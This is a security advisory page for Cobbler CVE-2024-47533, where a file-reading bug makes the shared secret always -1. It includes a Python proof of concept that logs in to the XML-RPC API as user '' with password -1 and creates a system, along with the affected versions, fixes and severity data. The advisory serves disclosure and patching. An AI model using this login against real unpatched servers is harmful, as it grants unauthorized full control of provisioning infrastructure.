cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes
Summary
utils.get_shared_secret() always returns -1 - allows anyone to connect to cobbler XML-RPC as user '' password -1 and make any changes.
Details
utils.py get_shared_secret:
def get_shared_secret() -> Union[str, int]:
"""
The 'web.ss' file is regenerated each time cobblerd restarts and is used to agree on shared secret interchange
between the web server and cobblerd, and also the CLI and cobblerd, when username/password access is not required.
For the CLI, this enables root users to avoid entering username/pass if on the Cobbler server.
:return: The Cobbler secret which enables full access to Cobbler.
"""
try:
with open("/var/lib/cobbler/web.ss", 'rb', encoding='utf-8') as fd:
data = fd.read()
except:
return -1
return str(data).strip()Always returns -1 because of the following exception:
binary mode doesn't take an encoding argumentThis appears to have been introduced by commit 32c5cada013dc8daa7320a8eda9932c2814742b0 and so affects versions 3.0.0+.
PoC
#!/usr/bin/python3
import ssl
import xmlrpc.client
params = { 'proto': 'https', 'host': 'COBBLER_SERVER', 'port': '443', 'username': '', 'password': -1 }
ssl_context = ssl._create_unverified_context()
url = '{proto}://{host}:{port}/cobbler_api'.format(**params)
if ssl_context:
conn = xmlrpc.client.ServerProxy(url, context=ssl_context)
else:
conn = xmlrpc.client.Server(url)
try:
token = conn.login(params['username'], params['password'])
except xmlrpc.client.Fault as e:
print("Failed to log in to Cobbler '{url}' as '{username}'. {error}".format(url=url, error=e, **params))
except Exception as e:
print("Connection to '{url}' failed. {error}".format(url=url, error=e, **params))
print("Login success!")
system_id = conn.new_system(token)Impact
This gives anyone with network access to a cobbler server full control of the server.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | cobbler | >= 3.0.0, < 3.2.3, >= 3.3.0, < 3.3.7 | 3.2.3, 3.3.7 |
References
- https://github.com/cobbler/cobbler/security/advisories/GHSA-m26c-fcgh-cp6h
- https://nvd.nist.gov/vuln/detail/CVE-2024-47533
- https://github.com/cobbler/cobbler/commit/32c5cada013dc8daa7320a8eda9932c2814742b0
- https://github.com/cobbler/cobbler/commit/e19717623c10b29e7466ed4ab23515a94beb2dda
- https://github.com/cobbler/cobbler
- https://pypi.org/project/cobbler
- https://github.com/advisories/GHSA-m26c-fcgh-cp6h
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-287- Platform
- Python (PyPI)
- Package
cobbler- Disclosed
- 18.11.2024
- Updated
- 11.10.2026 13:17
Sources and licenses
OSV / GitHub Advisory Database - GHSA-m26c-fcgh-cp6h - CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2026-316 - PyPA Advisory Database; CC BY 4.0
Vulnerability history: cobbler
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 18
- First → latest
- 10.2021 11.2024
- Without a fix
- 2
- Exploited in attacks
- 0
Severity breakdown
- Critical 4
- High 9
- Medium 5
Disclosures per year
- 2021: 3
- 2022: 14
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 0
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cobbler allows anyone to connect to cobbler XML-RPC server with known password and make changes this entry
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